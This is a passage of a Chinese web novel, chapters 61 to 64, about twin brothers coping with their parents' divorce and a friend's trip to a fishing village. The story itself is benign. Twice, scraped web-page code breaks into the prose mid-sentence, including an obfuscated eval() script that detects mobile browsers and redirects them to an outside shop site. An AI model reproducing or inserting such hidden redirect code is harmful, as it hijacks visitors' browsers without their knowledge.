“后来,你们越来越忙,忙工作,照顾我们,给俞麟找医生,我经常看到你们守着俞麟叹气,就想着,我还是要懂事点,听话,照顾弟弟,一个俞麟就够你们操心了,我不想你们更辛苦。可是渐渐的,我做出的退让,却好像被当成理所当然和必须。我必须学习好,必须要学钢琴,必须懂事,必须照顾好弟弟,这些必须里,从没问过我喜不喜欢。我不喜欢被逼着学钢琴,我不喜欢像个护卫一样守着俞麟,我也不喜欢自己那么懂事,可是这些不喜欢,能换来你们的肯定。但这些,差点把原本的我同化。” 他忘掉自己的喜恶,塑造了一个他们喜欢的俞麒,甚至在别人试图打破时,一再抗拒,如果不是机缘巧合来到云水村,遇见徐澄月一伙人,或许他会像机器人一样,被彻底“改造”,或者最终在长久的沉默中崩溃。 “我能理解,因为俞麟的身体,你们对他有更多考虑和担忧,他可以理所当然成为你们的优先选择,可为什么我总是被遗忘的那个呢?很多时候我也会嫉妒俞麟,会想,假如生病的是我,会不会我也能成为那个被偏爱的?所以有时候我会故意做点事,希望能和俞麟争一点你们的关注。有些可笑,但我确实做过。” 讲到这,俞麒苦笑一声,似乎在嘲笑那个不成熟的自己。考场上,看着那张写满密密麻麻文字和数字的卷子时,也是在不断回想这些年的自己,想父母的婚姻,想父亲那段话。那是他第一次没做完一张卷子。其实出考场,他就大概预料到成绩,但他没有说,他决定再幼稚一回。 事情按他的预期发展,却稍微偏轨,他原本不想让俞麟那么快知道父母离婚的事,而这场对谈,也比他想象的更彻底。 但他不知道他们什么反应,他全程微低头,不敢看他们。 朝城或者说中国式家庭里,父母可以与孩子玩闹,会指导说教,却几乎少有互敞心扉的聊天,他们不擅长不认可这样的煽情,或者说一旦这样声泪俱下的控诉出现,他们会因为被戳中痛处心虚,却为了挽回可笑的长辈权威,恼羞成怒,抵死不认,甚至用各种自认为传承下来的道理来镇压。 俞麒其实很清楚,像徐澄月江韫北那样的家庭很少,他在赌,他的父母愿意听他说话。 可是过去很久,他们只是沉默,他只听到母亲的啜泣,看到父亲鼓起小包一样的背,剩下最后一句话: 俞麟五岁的时候,我也五岁,俞麟十一岁,我也十一岁,俞麟十六岁,我也十六岁,所以这一次,能不能先问问我? 他没有再说。 他想留一点空间给他们,起身离开,走到房门前,想起俞麟应该快回来了,“刚刚那些,就不要让俞麟知道了。” 门落锁,他戴上耳机,躺到床上。其实昨晚没睡好,什么都担心,什么都在想,走马灯似的将过去一幕幕重放。刚刚一通话,他耗了很大力气,现在却觉得轻松,他卸掉一些东西,无论最后结果如何,他知道,他不会再是过去的俞麒。 * 下午回市里,一行人没等到俞麒。 徐澄月最后一个出来,告诉他们,俞麒已经先回去了。两个小时前收到的消息,只说竞赛班老师找。 江韫北还想问,看见精神不济,眼眶红红的俞麟,没再开口。 他们坐徐爸的车回,俞麟则由俞澍直接送回学校。 出发没多久,俞麟给徐澄月发消息,让她多留意俞麒的情况,考试失利和父母离婚双重打击,他又是个喜欢把情绪憋在心里的人,他担心他不好受。 很快收到回复,徐澄月让他别担心,说俞麒身边有他们,人多陪着能分散一点注意力,倒是他独自一人,倾诉都找不到人说。她其实更担心他。 俞麟去瞧前座的父母,偷偷抹掉眼泪。 送到学校,他们照例说些注意身体,训练当心的话,俞麟比以往每次都听得认真,他知道,这是他们一家人最后一次团圆了。 俞澍问:“俞麟,你还有什么想问的吗?” 俞麟摇头,道别离开,走到门口,又折回来,语带哽咽:“我和哥,是不是有一个要和你去美国?” 俞澍没有说话,钟屏也沉默。 最后俞澍按住他肩膀,轻轻捏了捏,“爸爸妈妈听你们的。” 听他们的?俞麟不知道自己的想法,也不知道哥哥的。 他浑浑噩噩走回宿舍,挑了条最远的路,路过排球场,被一颗失控的排球猛地砸倒,手里的东西散落一地,他也坐不起来。 片刻,排球的主人气喘吁吁停在他身边,焦急不安地询问他的状况。 他好久才回神,抬头,是一张熟悉面孔。他瘪嘴,找到借口似的,眼泪唰的流下来,“冉于漪,你把我砸痛了!” 另一端,徐澄月几人到家后,放好东西,不约而同出现在家属院楼下,手里拿着不一样的东西。 方之敛两指夹一张纸,上面是一道国际物理竞赛原题,非常难,可以让他专注思考一小时。 岳清卓拎着一套拳,背着挡板,忘记情绪最有用的方式当然是通过身体,运动、流汗、发泄,一顿拳下来,他今晚可以睡个好觉。 江韫北拿着游戏机和相机,称什么都不如游戏来得放松,有输赢,定惩罚,怎么好玩怎么来,最后拍几张搞怪照片,开心的事总是能驱散烦恼。 徐澄月只揣了个零钱包,准备去学校小卖部买雪糕。 “这是什么安慰方式?”江韫北不解。 徐澄月双手插兜,扭头朝他吹一声口哨:“徐澄月式。” 几人找到俞麒,轮流用上自己的法子,方之敛的被留到晚上,让俞麒回去自己算。打了拳,玩了游戏,拍了照,最后四人坐在高二教学楼天台上啃冰棍。 天寒风冷,他们坐到阳光里,跟着太阳西斜的角度换位置,从天台的左边,坐到右边,太阳落到高一教学楼后,冰棍也啃完了。 徐澄月把他们的棍子一根根收到塑料袋里,坐回去,不断拱岳清卓的肩,问他们,不冷吧? 江韫北聪明一回,接收到她的信息,缩着身体也去拱俞麒,“不冷不冷。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >一米五的椅子,空出半米左右,他们挤在一块,有什么冷的。 太阳收走最后一点光亮,夜像黑网一样缓缓罩下来。 他们离开天台,徐澄月走在前头,用力踩着台阶,踩出节奏:“明天,又是美好一天。” 俞麒走在最后,眼角一热。 接下来几天,俞麒每天早出晚归,三个人同住一栋房子,却只有晚上一两个小时碰面。俞麒照常和他们打招呼,吃宵夜,他看出他们的欲言又止,但他没有戳破。 直到俞澍离开前一天晚上,他的房门终于被敲响。 俞澍对这间房有些陌生,他踱步进去,一眼瞧见桌上摆的教材,几乎都是物理,俞麒手下还压着一张做一半的卷子,边上是一叠写满的稿纸。他自小成绩优异,无论参加什么比赛,总能拿个奖回来,久而久之,他以为儿子的优秀是天生的,他只需要坐等享受这份荣誉和周围的羡艳。却好像从未将心比心替他想过,这些优秀需要他吃多少苦头。 他其实应该最懂这种苦,二十多年前的自己,也是这样,用成千上百的纸笔,让自己成为一群人中的最优秀。而随着社会发展和经济水平提高,优秀人才如雨后春笋,俞麒在这样的环境中依旧出类拔萃,吃的苦头相较他,只多不少。他却不知足,将心里那把丈量的尺一升再升。 在俞麟的事上也是,他将本该属于自己的责任转嫁到他身上,无非是以此为借口,掩盖自己的失责。 如果没有那天他的坦诚,俞澍想,他大概永远不会意识到自己的错。然而即便意识到,那句简单的对不起他也说不出口。江峤和徐桦劝慰他,父母犯错也是常有,道个歉芥蒂也就慢慢消失了,在儿女面前,这不算丢脸。 但每个家庭关系不同,他们可以和子女处成朋友,赞美与道歉可以信手拈来,而他在亲子关系中,以上位者的姿态存在太久,骨子里的大男子主义,长年累积的威严与骄傲让他低不了头,即使知错愧疚,补偿方式也绝不会以“对不起”三个字出现。 满腹惆怅此刻只能化为一句询问:“你想留在国内和妈妈生活,还是和我去美国?” 没有任何铺垫,这句话来得太快,俞麒一瞬无措,没有应答,随即反应过来,这是父亲笨拙,拐弯抹角的弥补。他清楚,他已经听进去他的话,这就足够了。 “我选了其中一个,俞麟就要选另一个吗?” 俞澍摇头,“这次都听你们的,但我想,俞麟应该更愿意和你在一块。” 俞麒没有犹豫:“我想和妈妈在一起,虽然会让妈妈很累,但我可以帮她。” 俞澍安静片刻,点头同意:“你一直是个很懂……很了不起的孩子。妈妈那边,如果忙不过来,可以请个阿姨。至于抚养问题,我和妈妈商量过了,这栋房子留给你们,另外每个月我会按时汇钱回来,你们俩的教育费用我也会一并承担。” “爸,”俞麒叫住准备离开的俞澍,“你和妈离婚,是你们的事,我相信你们能解决好,我和俞麟不是小孩了,不会因此怨恨你们任何一方。我们在这,你有时间,就多回来看看,我相信妈妈也是这么想的。” 门上黑影轻轻一晃,俞澍又站了一会,转身走回俞麒身边,唇角微动,最终也只是像对俞麟那样,按了按他的肩。 “物理,如果不喜欢,就在这停吧,和阿敛一样,找一找自己的兴趣。” 俞麟摇头,说他喜欢的,明年会再参加一次。 “好,你喜欢就好。如果以后有深造的想法,再和我说。” 目送父亲离开,俞麒坐回书桌前,视线从满桌物理题,转到俞麟的奖杯上。 人好像都是这样,失去才懂珍惜,酿成错误才知自省,然后拼命用以后弥补以前,甚至尝试回到从前。 可惜,时间永远是单向道。 62. 第 62 章 徐澄月发现,俞叔走之后,俞麒学得更猛了。临近期末,这回又是三个市几十所学校统考,压力本就不小,他还兼着新一轮全国物竞训练,两边夹击,他堪比被压在五指山下的小瘦猴。 她偷偷和朋友们猜测,是不是俞叔又逼着他做什么了。 岳清卓说应该不会,不然屏姨在和他们妈妈话家常时,指定骂他了,最近聊的都是离婚后重建话题。据说屏姨有入股她妈妈服装店的想法,打算把她们的姐妹事业做大。 方之敛也说不会,虽是高压,但他的心情比起前段时间,好了不少。 听了朋友们分析,徐澄月稍稍放心,转而担心起他的身体,天冷,他作息一乱,就容易感冒,最先发的往往是咳嗽。她准备了好些药,有备无患。 谁知给江韫北先用了。 据他所说,为备战联考,他废寝忘食,悬梁刺股,最终不堪劳累,倒在胜利前线。 岳清卓冷哼,直接戳破:“练习卷做了不到一个小时就趴在桌上睡过去,窗没关,吹了一晚上风,不感冒才怪。”说话间让他坐远点,她要开窗流动空气,免得整个屋子都是病菌。 江韫北擤着鼻涕窝回软榻上,把烤鸽赶走,“医生说了我不能吹风。” “又没让你对着风直吹。”岳清卓端药给他,生个病,兴师动众,把阿爷喊过来就算了,在外地出差的江爸江妈不放心,也特地回来了一趟,“喝药,江大小姐!” 江韫北斜眉瞪眼,“你能不能对病人温柔点?” 岳清卓恶狠狠:“再不喝我直接灌!” 身娇肉贵的江大小姐喝完苦药,连忙丢一颗枇杷糖止味,“对了,枇杷糖多留一罐,我给俞麟,昨天和我聊天也说喉咙不舒服来着。” 提及俞麟,几人又烦恼了。他们知道俞麒俞麟闹了很长时间别扭,具体原因不详,只知道自那次周末后,俞麟没回来过,群上也不活跃,俞麒也极少说起他。他们想了很多法子,想帮兄弟俩调和,但不敢轻易尝试,生怕好心办坏事。 “要不,我去试探试探?”徐澄月提议,“反正他不会骂我。” 岳清卓和方之敛觉得可行,江韫北却从这句话捕捉到一丝微妙。 俞麒是不会骂人,他只会冷脸,对他们好些,对徐澄月……江韫北努力搜寻平日里俞麒在她身边的表情,好像多数时候是笑着的,还伴有一些细微动作和肯定鼓励的话,冷脸是这样冷的吗? 江韫北皱眉,感觉自己在闯迷宫,确定了路,只剩一头栽进去,可惜被徐澄月一大嗓门喊回来。 “清卓,关一下窗。”厚重的棉服下,徐澄月的肩膀抖了抖,这北风未免太大。 江韫北立马喜笑颜开,瞧,徐澄月还是更关心他,医嘱什么的,都帮他记着呢。 领了任务,徐澄月隔三岔五就去俞麒身边晃,不是带着徐妈做的饭,就是带着物理题。 她晃第一回俞麒就看出来了,大概知道她是为什么来的,但他没点破,就照着她的意思讲题、吃饭、聊天,磨蹭到最后,她问俞麟下周有比赛,不在周末,他要去看吗。 这俞麟很早之前就和他说过,日历上他做了记号,“还没想好,你想去?” “想啊,可他不让我们请假去看。”徐澄月想了想,还是把枇杷糖塞给他,说给俞麟。 俞麒握着玻璃罐,疑惑问:“俞麟喉咙不舒服?” “嗯,他不让我们和你说。”徐澄月压低声音,夸大事实,替俞麟卖惨,“听江韫北说,每天训练,风那么大往喉咙灌,咳得更厉害了。” 俞麒克制笑意,俞麟没告诉她吗,冬天风大他们都是在室内训练的,但她演得卖力,他也就努力配合:“那明天我去看他,不过我妈明天加班,徐姨有空吗,让徐姨帮我做点他爱吃的?你要和我一起吗?” “不不不!”她才不打扰他们兄弟相处,“俞麟爱吃大虾,烤鸭腿,油炸大排!回去就和我妈说!” 傻姑娘,露馅了都不知道,他清清嗓子,交代:“别都是肉,弄点蔬菜。” “知道知道!”任务完成,徐澄月一蹦一跳地回去报消息。 第二天,俞麒拎着徐妈准备的饭盒去体校。但他们下周比赛,最近都是封闭训练,见不着人,他只好把饭盒留下,让保安大叔帮忙转交。 他比赛那天,俞麒直接去了现场,不知道是在哪号馆,他一个个找过去。找到第三个时,旁侧传来一道询问。 “你是俞麟的哥哥?” 俞麒循声望去,一个高挑女孩,右脸有个黄豆大小的酒窝,细看脸还有些熟悉。他点头说是,随后被她带进正确的径赛馆。 “你也是请假来看的?” 冉于漪解释:“那两节是文课,上也是做别的题。” “你不是体校的?” “我爸是俞麟教练,我有空会去他们学校打排球。俞麟这会应该在热身。不过……”冉于漪余光瞄他,欲言又止,“他韧带拉伤了,我爸让他退赛,他不肯,你要去,劝劝吗?” 俞麒请求她带自己去后台找俞麟,一群人都在热身,只有他坐在一旁,用冰袋冰敷膝盖。 俞麒远远看着,没有上去。 冉于漪不清楚这对兄弟在闹什么,只好先替俞麒开口喊人。 俞麟瞥到那身影,慌慌张张藏起冰袋,目光躲闪,最后索性不看他,心虚地和教练介绍起来。 冉教练打过招呼后,就把空间留给两人。 俞麒看着他有些红肿的膝盖,面若冰霜,“为什么不退赛?” 俞麟嘻嘻哈哈,晃着腿给他看,说只是小伤,能跑。 “小伤?你的运动生涯才刚开始,现在不注意,以后不想跑了吗?” 久违的训斥,俞麟却觉开心。 俞麒:“笑什么?” “哥,真没什么事,一百米下来,很快的。而且……”他默默后脑勺,“我教练,没教过我往回跑。” 广播声响起,俞麟让他放心,努力撑直腿走出去,没几步,他又返回去,一把抱住俞麒,“哥,放心,看我给你跑个第一。” 俞麒被冉于漪带去观众席,一路上断断续续听她说着俞麟的近况,包括他的训练、日常生活和文化课学习。 “你和俞麟,很熟?”她不是体校学生,却对俞麟的情况了如指掌,俞麒不禁好奇。 冉于漪说:“我们其实初中那会就认识了,在植物园,他帮我抓过小偷。后来他成了我爸学生,我爸说他是他带过最有天赋的学生,像个老父亲一样整天把他挂在嘴边,说的多了,我也就知道了。” “最有天赋?”俞麟之前常讲他教练对他的评价,但没说过这个。 “对啊,你看他读体校才开始正式训练,刚参加比赛就拿奖,后面每次比赛都能进前三,不是天赋是什么?他还努力,经常给自己加训,比完赛也不松懈,我爸让回来训练一秒不停的。” 俞麒想起那年,他说要走职业道路时的自信和兴奋,他总以为他是年纪小,看了一些影视剧或竞技比赛,被短暂的情绪感染,但一晃也两年了,他的热爱,似乎与日俱增,“他很爱他的梦想。” “对!他拿第一个奖时和我说,他要一直跑,拿更多奖,让……”两人已经在观众席的座椅坐下,冉于漪侧目,见他一直注视跑道上那道身影,“让他哥哥骄傲。俞麟,他很在乎你。” 俞麒点头,“我知道。” “但他最近,好像很不开心,也有很多疑惑。你这次来看他比赛,也是顺便给他解惑的吗?” 那天他哭了挺久,吓得她以为给人砸出好歹,连劝带哄,最后急得要打120了,他才抽抽噎噎地停下,说没事,然后失魂落魄回宿舍,她问什么都不答,只好找了她爸去问,得来同样答案。她放心不下,一连好几天放学都去找他,又是陪练又是陪聊陪吃,这才慢慢撬开他的嘴,断断续续问出一些事情。 俞麒听懂女孩的试探,侧眸,似笑非笑望她一眼,对方很坦然同他对视,“是。” 枪响,跑道又是一阵疾驰。 短短十来秒,身旁女孩爆发一声激昂欢呼,“带伤都能跑第一!俞麟,你真棒!”最后一句,她站起来朝场上摇手欢呼。 俞麟听到了,笑着回应她。 冉于漪打个响指,脸上酒窝陷得更深, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13766286|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好了,你去后台找他吧,我就不打扰你们了。”她拎起书包准备走,又坐下,提醒:“你知道吧,四肢发达的人有时候头脑比较简单,所以直接一点,他懂得更快。” 俞麒再次以戏谑的眼神看她,这回她却有些失措,拨拨刘海挡了挡,同手同脚离开。 俞麒去到后台,他还是在敷膝盖,身边已经有队医在。 需要去医院拍片看结果,俞麒随车跟去。一通忙活下来,所幸不严重,只是拉伤后没静养,撕裂的伤口大了点,休息个把月就能恢复。 “应该不会影响三月份的选拔吧?”俞麟紧张地问。 冉教练一把拍他背上,“怕还敢逞强,俞麟你等着,等你好了看我怎么收拾你。” 俞麟自知理亏,不敢再多话。 比赛结束后没什么事,冉教练干脆让俞麒带他回家休息。 没下班放学,没人搭手,俞麒只好自己背他上楼。 俞麟知道自己现在多重,不肯,被他一个冷眼吓住,收回腿。 负重上楼,俞麒累得够呛,缓了好一会才去热饭,中途给等消息的俞妈回话。 他坐在客厅沙发上,俞麟把菜端过去,“吃吧,早上妈特地做的。” “好久没吃了。”他一手大排一手烤鸭腿,完全不顾教练给他制定的营养菜谱。 俞麒拧开水放在他手边,说:“你要想吃,下次给我发信息,我送过来,不过得你们教练同意。” 俞麟停住动作,“哥,你……不生我气了?” “为什么觉得我在生气?” 俞麟放下鸭腿,搅动碗里的饭,“你从没有像这次,那么长时间没理过我。” 俞麒原本准备了许多,但见到冉于漪后,他改变了想法,“俞麟,你没有做错什么,一声不吭地冷落你,疏远你,是我不对。” 俞麟没有回应他的道歉,反问:“哥,从小到大,我是不是让你很辛苦?”见他沉默,俞麟继续:“你要照顾我,照顾不好了会被爸责怪,还要努力达到爸对你的要求,但就算这样,爸妈还是把更多关注放在我身上。哥,这些年,你是不是过得很不开心?” 好半晌,俞麒才问:“爸告诉你了?” 俞麟不好意思地笑,“我自己猜到的,哥,我也没那么笨。” “刚刚你同学还让我直接点,怕你不懂,现在看来,她多虑了。” “什么同学?” “你说得对,这些年我确实过得有些压抑,可是事情发生了就是发生了,导致某个结果出现的原因一定是多方面的,你不需要自责,而且你也没做错什么。”太过具体的东西,俞麒并不打算多说,“俞麟,你是我弟弟,照顾你,保护你,我都是乐意的。以后也一样。” “哥……” “还有爸妈的事,我知道你有很多不理解,等你再大一点,就会知道有些感情和婚姻,不能将就。现在虽然他们分开了,但对我们,还是和以前一样。俞麟,他们是我们的父母,可他们也是一个独立的个体,他们也得为他们自己着想。” 俞麟点头,“我会慢慢想通的。” “想不通也别硬想,来找我。最近要好好养腿,省队的事,你想做就去做,不过那天我说的话是认真的,你所做的一切,只要你觉得对,你想去做,就可以,不需要获取其他人的肯定,包括我。俞麟,你要再自信点。” 俞麟木然地看他,没有应答。 在他的人生轨迹里,不管过去或未来,哥哥一直是比父母更重要的存在。他习惯于听从他的安排,因为知道哥哥给他的,一定是他能力范围内最好的,只有学习这件事,偏离了轨道。他第一次违抗哥哥,做了一个会影响人生的决定。他知道这些年给他带去很多麻烦,也知道自己太过依赖他,坚定要走这条路,是为自己,也是为他,想让他卸下他这个包袱,也想让他知道,以后不用他的庇护,他也可以好好成长,甚至成为他的骄傲。他可以放心去做他的事,不用再被他绊住。 可兄弟血缘之间哪有不羁绊的? 俞麒告诉他,他们永远是最亲的兄弟,不管多大,永远都是对方最坚实的后盾。 63. 第 63 章 寒假第一天,徐家十分罕见的爆发了一次争辩。 源头是徐澄月要和木雕店老板许琳去隔壁省一座小渔村,走访一些木雕手艺人。她以为父母不会阻拦,没做什么准备就“通知”他们,结果出乎意料,不仅被反对,还被他们一人一句问得哑口无言,最后徐爸总结陈词,等大几岁再去也不迟。徐澄月不肯,据理力争,被一一驳回,她委屈地找朋友们抱怨,结果朋友们也是一样想法。 方之敛:“徐叔徐姨的顾虑不是没有道理,那在省外,火车过去还要转巴士再转别的,太偏了,虽然许老板团队有过这样的经历,但那边,他们也是第一次去。” 俞麟在给膝盖按摩,闻言狂点头赞同:“许老板也不一定可信,毕竟你和她只是买卖关系,具体情况还是不了解。” 岳清卓丢一只拳套给她,“要不我先教你几招防身术,有自保能力了你再去?” 俞麒不赞同:“光有自保能力也不行,到底是女孩子,敌不过成年人的力量,还是得……” “哎呀行了行了!”江韫北大声打断他们,再瞅徐澄月的表情,得,都委屈得拉下巴了,他护犊子似的,“就不能给点鼓励,非得一个个阻拦她?徐澄月,我和他们不一样,我支持你,你想去就去,有事再说。” 人果然抬头感激地望着他,像极等人表扬的小狗,他顺手揉一把她脑袋,朝她一挑眉。 俞麒脸色严肃:“韫北,不能等出事了再来想,现在社会新闻很多,很容易……” 江韫北再次打断他:“你们干嘛想那么复杂那么黑暗呢,不过就是她想去一个地方,那个地方恰好比较远比较不繁华,那有人还觉得咱这偏呢,谁会一直呆在大地方,而且难道坏人只出现在小地方?是,要有防人之心,但也不能一竿子把路挡死,哪都不让她去了吧?” 似是被他说服,反对之声变弱。 江韫北继续苦口婆心:“知道你们怕她被骗,但徐澄月情商不行,智商还是……哎哟,”大腿被旁边的人拧一下,他委屈瘪嘴,修改说辞:“都还是可以,又那么精,准备工作做好,没问题的。” 被他一提醒,几人也知道是自己过度担心有些本末倒置了,又见徐澄月没那么烦闷,便没再泼冷水,话锋一转说起让她要注意什么。 徐澄月把朋友们的问题都记好,加上徐爸徐妈问的和许琳提供的信息,连夜做了个PPT,给父母汇报。行程定在三天后,耽搁太久怕赶不上。 PPT包含行程安排,来回路线,紧急联系方式,甚至预演了几种突发情况和应对方法,还藏了点小心思,加了自己热爱木雕的佐证,希望获得一些感情分。 有数据有图片,详实得徐爸徐妈找不出漏洞。 徐爸开始动摇,徐妈连忙稳定军心:“澄澄,你资料搜集得很好,看来你真的很想去,不过这都是你设想的,现实无法预计,我和你爸还要再考虑一下。” “那考虑一天半?我还得回复琳姐。” 他们说行,徐澄月还是惆怅,但也能理解,毕竟这是她第一次一个人出远门,他们再怎么乐天,安全问题也绝不会轻视。 就这么忐忑等了一天,下午心不在焉地做题时,江韫北突然闯进她房间,激动地告诉她,徐叔徐姨同意她去了。 “真的?”徐澄月丢下笔,拉来软榻给他,“你劝的?” “也不是,他们看了你做的PPT,再加上我一阵‘煽风点火’,就同意了。” “你怎么煽的?” 他去找许琳要了更具体的行程路线,去贴吧上看了出现过那个地方的所有帖子,还发了提问,把那边的生活风俗,住宿交通,和过去旅游的注意事项都弄清楚。 让徐爸车队的人联系了那边熟识的司机,负责他们往返镇上和村里的行程,在离他们目的地不远的镇上,给她订了连锁酒店,随行路上有许琳和他们团队的人,他又采买了许多防身物品,一连套下来,基本安全应该可以保障。 “我把这些和徐叔徐姨说了,还有你的PPT,大概是觉得没什么问题,就同意了,还准备让徐叔送你去……” “啊?可是我爸最近有趟货要跑,很重要。”一开始徐爸就提过,她没同意。 “放心,我知道你不愿意,就给劝下了,换人了。反正酒店是连锁的,司机是认识的,你每半天打个电话报平安,要是哪天忘记,我们也能联系上,万一真的出事,立马叫人解救你!” 徐澄月拍他胳膊,骂他乌鸦嘴,见他嘴角一动要发功了,立马安抚:“看看你都买了什么?” 江韫北一下被顺毛,兴冲冲地一件一件拿出来,“辣椒水,你放衣服兜里,觉得不对劲掏出来往他脸上喷,小双截棍,放运动裤裤兜,远近都可以砸到人,小刀,这个乍一看是剪刀,其实可以掰直,但这个武器杀敌一千自损八百,不到最后关头别用。还有一些零零碎碎,你慢慢看,要是忘记了,手边有什么就抄什么,宁愿先出手,也别被伤到……” 徐澄月拄着脑袋,歪头看他喋喋不休。以前只觉得他聒噪,一张嘴像打字机,开关启动,白纸上可以源源不断往生字,她曾经调侃,他要这样说一辈子,纸张制成册估计比四大名著加起来还厚。但今天,他的聒噪莫名悦耳,她没有打断,继续听,继续看。 他低着头,留一边侧脸对着她,她看入了神。 这好像是第一次这么认真地观察他,她才发觉,他白得挺快,每次夏天晒得麦黑,裹一个冬天就能恢复,细小绒毛,毛孔,清晰可见,还有眼角那截小月牙,之前只是有点轮廓,现在更像了。两头细细尖尖,中间弯曲向外凹,她看得新奇,用指甲去戳,凹凸不平的手感,惊喜道:“江韫北,这个疤真的成月亮模样了!” 江韫北的讲述戛然而止,余光偷偷瞥她停在他脸上的手指,他觉得那截指甲好像带电,就像8-12毫安的电流穿过肌肉筋脉,没有损伤,只有一种飘飘然想再来一次的舒爽。 上次那个拥抱也是。 他怕会沉溺其中,装作嫌弃地拍掉她的手,眼一横,“想月亮想魔怔了?” “不是,真的,我画给你看。”徐澄月强行按住他肩膀,另一只手用尾指指甲沿着那个小月牙的轮廓,一下一下点着。点完一圈,问:“感受到没?” 挨得近,说话热乎乎的气息就喷在江韫北耳根下的脖侧,那是他格外敏感的地方,又一阵电流经过,轻微颤了颤,麻中又有点舒服。 徐澄月也感受到了,不解地问:“你颤什么?我手上有静电?” 江韫北没回答,他现在满脑子都是她的指甲戳在脸上,有一下一下似羽毛在轻扫他脖颈的微痒。 哪还知道电什么电! 他抓住她的手,丢下去,自己也坐远了些,“别以为这样说就能让我忘记你是怎么压我的。” “嗤,真记仇。” “我刚说的你听没听?” “听啦,好麻烦。” “喂!你这时候要是觉得兴师动众说不去了,我和你没完!“ “怎么个没完法?” 江韫北冷冷觑她,“你好像很期待嘛。” “那倒没有,不过,你怎么和阿敛他们不一样,这么支持我?”多一个不支持的声音不会让她改变主意,但一众反对中有人为她摇旗呐喊,没有谁能拒绝这样明目张胆的偏袒。 “你忘啦?我以前就说过,无论谁,我都站你这边,你当我说着玩?”江韫北对她的健忘尤为不满,“上回我姐那事我想过了,不能怕什么就不让你们做什么,不然要因为我们的担心让你们放弃梦想?这不是为你们好,这是自私胆小,没有承担能力!错过一次我可不会再错。再说了,明年就高三了,不趁现在做,又要等一年多,多不值。你想去就去咯,又不是什么大事,出问题了我给你兜着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13793246|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐澄月初中酷爱玩一款冒险游戏,森林冰火人,一冰一火,结伴闯关,一面观察自己的路线,一面留心伙伴的障碍,有时需要对方帮忙,有时一方不小心“战死”,另一方就要想方设法完成剩下的冒险。和其他人玩,他们喜欢保守,先将一方送到过关口,确保胜利。江韫北不是,他喜欢跟在她身后,一起过沼泽,一起闯机关,会帮她看着被忽略的障碍,也会帮她跃上太高的台阶。虽然他们俩组合闯的关数总是最低,但徐澄月玩得最过瘾。 她曾在心里偷偷打过评价,江韫北是最懂她的朋友。她想,如果下次再玩,需要有人趟过沼泽去寻找开关,那也可以是水精灵。 出发那天,温度是那几日最低。徐澄月被徐妈裹成小熊,在一众轻装人群中,有种违和的喜感。 父母和朋友的叮嘱听了又听,倒背如流,现场给他们背了一通才肯罢休。没有留恋的,她潇洒朝他们挥一挥手,就兴奋地跟着队伍踏上北行的火车。 她对接下来一周的行程充满期待,上了火车就开始问个不停,以至没有看见悄摸跟在后头,一抹军绿色身影。 行程驶出小半,她才停嘴歇息,四周看看。近年关,火车上许多返乡人,一节车厢塞得满满,过道边角都坐了人。她一一扫过去,有个人,站在角落,戴顶粉色帽子,军大衣拖到小腿,格外醒目的搭配,她笑着和许琳说这人品味独特,下一秒觉得不对劲。 她走过去,果然瞧见帽檐下,被遮住一半的小月牙。 “江韫北,你怎么跟来了!”声音太大,引得人纷纷侧目。 “小声点!”江韫北把人拉近一点,“还一直说我话多,自己不知道什么样,上车就开始巴巴,没完没了,现在才看见我啊。” 徐澄月不理会他的不满,“你来做什么?” 他们刚好在车厢连接处,晃得厉害,江韫北推着她回位置,手伸在身体两侧,挡掉一些触碰。 “不是和你说换人了吗,徐叔换成我了。” “你不是要和江叔江姨去北京?” “去北京也是拜访他那些生意伙伴,哪有你重要,回来再去来得及。” 他熟络地和其他人打招呼,他们对他的出现毫不意外。 “啊,我让他们保密的。”话落挨了她一闷拳,江韫北连忙捉住她要继续的拳头,“总要有人来,不是我就是徐叔。” 不止他们俩,昨天俞麒也说过要陪同,但知道他答应俞叔过年去美国陪他,便没同意。 谁知道江韫北闷声干大事! “你快坐下,好几个小时呢,眯会。” 木已成舟,徐澄月也没得了便宜卖乖,但她这边的座椅都坐满了,这才知道他没买到坐票。 “没事。”江韫北大衣一裹,挨在她腿边坐下,“也就大半天,睡一觉就到了。”买的班次早,刚上火车就困了,这会和她说话也是强撑着精神。 徐澄月看他一高个子缩成一团窝着,于心不忍,要和他换,被他死死扣住腿。 “安分坐着,别打扰我睡觉!” 没辙了,她只好拿来装衣物的书包,取出外套垫在他腰后,书包铺平给他当椅子,他不肯,怕弄脏,徐澄月没好气瞪他,骂两句才消停。 火车继续前行,经过一片田野,地里不知种了什么,主人留了两个稻草人看地。其中一个偷懒打瞌睡,睡歪了脑袋。 和现在趴在她腿上睡得奇香的人一样。 徐澄月笑了笑,把他的帽子拉低,盖住他耳朵又小心将手覆上去,挡掉噪音。 傍晚下火车,转乘巴士,夜幕降临时,抵达小镇。 徐澄月背着书包,其余东西都被江韫北拿走。 她和许琳走在前头,按地图去找酒店。 江韫北拖着东西离她一米远,她一回头就能瞧见。 现在,火精灵和水精灵,将继续冒险。 64. 第 64 章 小渔村的冬夜是铅灰色的。 从村里返回镇上,才亮堂不少。 